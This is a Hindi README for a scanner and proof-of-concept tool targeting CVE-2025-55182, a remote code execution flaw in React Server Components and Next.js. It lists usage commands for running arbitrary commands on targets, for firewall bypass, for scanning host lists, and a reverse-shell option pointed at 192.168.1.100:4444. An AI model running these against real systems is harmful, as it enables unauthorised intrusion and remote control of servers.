
एसेटनोट CVE-2025-55182 स्कैनर का एक उन्नत संस्करण
RSC/Next.js RCE के लिए उच्च-विश्वसनीयता डिटेक्शन
React Server Components और Next.js अनुप्रयोगों में Remote Code Execution (RCE) कमजोरियों का पता लगाने के लिए स्कैनर।
React2Shell Scanner एक विशेष उपकरण है जो React Server Components (RSC) और Next.js का उपयोग करने वाले अनुप्रयोगों में दूरस्थ कोड निष्पादन (RCE) कमजोरियों की पहचान करने के लिए है। यह उपकरण निम्नलिखित CVEs से संबंधित कमजोरियों का पता लगाता है:
यह उपकरण साइड-चैनल डिटेक्शन और RCE प्रूफ-ऑफ-कॉन्सेप्ट का उपयोग करके उच्च-विश्वसनीयता जाँच करता है, जिसमें HTTP प्रतिक्रियाओं के स्वचालित पार्सिंग के माध्यम से निष्पादित कमांडों के गतिशील परिणाम निकालने की क्षमता होती है।
यह Assetnote Security Research Team द्वारा विकसित मूल स्कैनर का @imguimoraes द्वारा संपादित संस्करण है। मूल RCE PoC @maple3142 द्वारा बनाया गया था।
pip install requests tqdm
या requirements.txt फ़ाइल का उपयोग करके:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opções]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| विकल्प | विवरण |
|---|---|
-u, --url URL | जाँचने के लिए एकल URL या होस्ट |
-l, --list FILE | होस्टों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
| विकल्प | विवरण |
|---|---|
-t, --threads N | समवर्ती थ्रेड्स की संख्या (डिफ़ॉल्ट: 10) |
--timeout SECONDS | सेकंड में अनुरोधों का टाइमआउट (डिफ़ॉल्ट: 10) |
-k, --insecure | SSL प्रमाणपत्र सत्यापन अक्षम करें (डिफ़ॉल्ट रूप से सक्षम) |
| विकल्प | विवरण |
|---|---|
-H, --header "Key: Value" | कस्टम HTTP हेडर जोड़ें (कई बार उपयोग किया जा सकता है) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
स्कैनर स्थिति दर्शाने वाले रंग कोड के साथ परिणाम प्रदर्शित करता है:
कमजोर होस्टों के लिए, X-Action-Redirect हेडर या प्रतिक्रिया बॉडी से स्वचालित निकासी के माध्यम से उपलब्ध होने पर निष्पादित कमांड का परिणाम प्रदर्शित किया जाता है।
जब -o विकल्प का उपयोग किया जाता है, तो आउटपुट निम्नलिखित संरचना के साथ JSON प्रारूप में सहेजा जाता है:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
परिणाम के फ़ील्ड:
vulnerable: true यदि कमजोर है, false यदि कमजोर नहीं है, null यदि त्रुटि हुईcommand_result: प्रतिक्रिया से निकाला गया निष्पादित कमांड का परिणाम (जब उपलब्ध हो)final_url: परीक्षण किया गया अंतिम URL (रिडायरेक्ट का अनुसरण सक्षम होने पर)status_code: प्रतिक्रिया का HTTP कोडrequest: भेजा गया पूर्ण HTTP अनुरोधresponse: प्राप्त HTTP प्रतिक्रिया (पहले 2000 वर्ण)error: त्रुटि संदेश यदि कोई होtimestamp: जांच का UTC टाइमस्टैम्पस्कैनर दो डिटेक्शन विधियाँ प्रदान करता है:
Safe Check (--safe-check): गैर-आक्रामक साइड-चैनल डिटेक्शन जो कोड निष्पादित किए बिना प्रतिक्रिया में त्रुटि पैटर्न की जाँच करता है। बिना प्रभाव के प्रारंभिक स्कैन के लिए उपयोगी।
RCE PoC: परिणामों की गतिशील निकासी के साथ वास्तविक दूरस्थ कोड निष्पादन। सिस्टम कमांड निष्पादित करने के लिए Node.js child_process-आधारित पेलोड का उपयोग करता है।
स्कैनर निष्पादित कमांडों के परिणाम निकालने के लिए HTTP प्रतिक्रियाओं का स्वचालित पार्सिंग करता है:
X-Action-Redirect हेडर की निकासी (प्रारूप: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} या 1:E{"digest":"<result>"})--payload पैरामीटर के माध्यम से किसी भी कस्टम कमांड/पेलोड के साथ काम करता हैनिकासी गतिशील रूप से की जाती है, निश्चित मानों पर निर्भर नहीं होती, जिससे किसी भी कमांड के निष्पादन को मान्य करना संभव होता है।
जब --waf-bypass विकल्प का उपयोग किया जाता है:
--waf-bypass-size के माध्यम से कॉन्फ़िगर करने योग्य आकार (डिफ़ॉल्ट: 128KB)--payload पैरामीटर निष्पादित किए जाने वाले किसी भी कमांड को निर्दिष्ट करने की अनुमति देता है:
echo $((41*271)) (परिणाम: 11111)--windows सक्रिय हो तो PowerShell कमांड का उपयोग करेंकमांड का परिणाम स्वचालित रूप से निकाला और प्रदर्शित किया जाता है, चाहे लौटाया गया मान कुछ भी हो।
--reverse-shell विकल्प reverse shell कनेक्शन स्थापित करने की अनुमति देता है:
IP:PORT (उदाहरण: 192.168.1.100:4444)powershell.exe स्पॉन करता है/bin/sh स्पॉन करता हैयह उपकरण विशेष रूप से शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षणों के लिए है।
मूल RCE एक्सप्लॉइट @maple3142 द्वारा बनाया गया था।
मूल स्कैनर Assetnote Security Research Team द्वारा विकसित किया गया था:
यह संपादित संस्करण अतिरिक्त सुधारों के साथ मूल स्कैनर की कार्यक्षमताओं को बनाए रखता है:
द्वारा संपादित: guiimoraes
यदि आपको बग मिलें या सुधार के सुझाव हों, तो कृपया रिपॉजिटरी में एक issue खोलें और समस्या का विस्तृत विवरण दें।
| विकल्प | विवरण |
|---|
-o, --output FILE | JSON प्रारूप में परिणामों के लिए आउटपुट फ़ाइल |
--all-results | सभी परिणाम फ़ाइल में सहेजें, केवल कमजोर वाले नहीं |
-v, --verbose | विस्तृत आउटपुट (विश्लेषण के लिए प्रतिक्रिया स्निपेट दिखाता है) |
-q, --quiet | शांत मोड (केवल कमजोर होस्ट दिखाता है) |
--no-color | रंगीन आउटपुट अक्षम करें |
| विकल्प | विवरण |
|---|
--safe-check | PoC RCE के बजाय सुरक्षित साइड-चैनल डिटेक्शन का उपयोग करें (कोड निष्पादित नहीं करता) |
--windows | Unix shell के बजाय PowerShell पेलोड का उपयोग करें (Windows वातावरण के लिए) |
--waf-bypass | WAF बायपास के लिए पेलोड में यादृच्छिक डेटा जोड़ें (डिफ़ॉल्ट: 128KB) |
--waf-bypass-size KB | WAF बायपास के लिए यादृच्छिक डेटा का आकार KB में (डिफ़ॉल्ट: 128) |
--payload COMMAND | RCE में निष्पादित करने के लिए कस्टम कमांड (डिफ़ॉल्ट: echo $((41*271))) |
--reverse-shell IP:PORT | निर्दिष्ट IP:PORT के लिए reverse shell कनेक्शन बनाएं |